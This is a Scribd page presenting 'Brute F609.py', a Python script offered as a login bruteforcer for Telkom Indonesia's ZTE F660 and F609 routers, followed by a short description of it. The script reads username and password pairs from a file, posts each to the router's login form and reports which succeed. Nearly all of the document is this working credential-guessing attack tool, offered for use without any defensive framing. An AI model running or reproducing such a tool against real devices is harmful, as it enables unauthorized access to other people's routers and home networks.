KEMBAR78
Brute F609.py | PDF | Computers
0% found this document useful (0 votes)
75 views1 page

Brute F609.py

This Python script brute forces login credentials against a specified URL by reading username and password combinations from a credentials file. It makes POST requests with the credentials and prints whether each attempt succeeded or failed based on the response status code. The script handles exceptions and allows exiting gracefully with Ctrl-C.

Uploaded by

Eko Candra
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
75 views1 page

Brute F609.py

This Python script brute forces login credentials against a specified URL by reading username and password combinations from a credentials file. It makes POST requests with the credentials and prints whether each attempt succeeded or failed based on the response status code. The script handles exceptions and allows exiting gracefully with Ctrl-C.

Uploaded by

Eko Candra
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 1

#!

/usr/bin/python
print("""\
_______ ___ ___
/ _/ __// _ \\/ _ \\ | f609-brute
/ _/ _ \\/ // /\\_, / | Telkom Indonesia's ZTE F660 and f609 Bruteforcer
/_/ \\___/\\___//___/ | https://github.com/yoscruizer
""")
import requests, sys
if len(sys.argv) != 2:
print("usage: {} <url>".format(sys.argv[0]))
sys.exit()
def main():
fn = "credentials.txt"
file = open(fn)
url = sys.argv[1]
lines = 0
for i in file.readlines(): lines += 1
file.seek(0)
print("[i] Loaded {} credentials from {}".format(lines, fn))
for cred in file.readlines():
if cred.rstrip() == "": continue
cred = cred.rstrip().split("|")
username = cred[0]
password = cred[1]
pdata = {'_lang': '', 'frashnum': '', 'action': 'login', 'Username':
username, 'Password': password}
success = False
r = requests.post(url, data=pdata, allow_redirects=False)
if r.status_code == 301:
success = True
if success == False:
print("[!] fail -> username: {} | password: {}".format(username,
password))
else:
print("[*] success -> username {} | password:
{}".format(username, password))
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
print(": SIGINT detected! Exiting.")
sys.exit()
except Exception as e:
print("[!] Exception: {}".format(str(e)))
pass

You might also like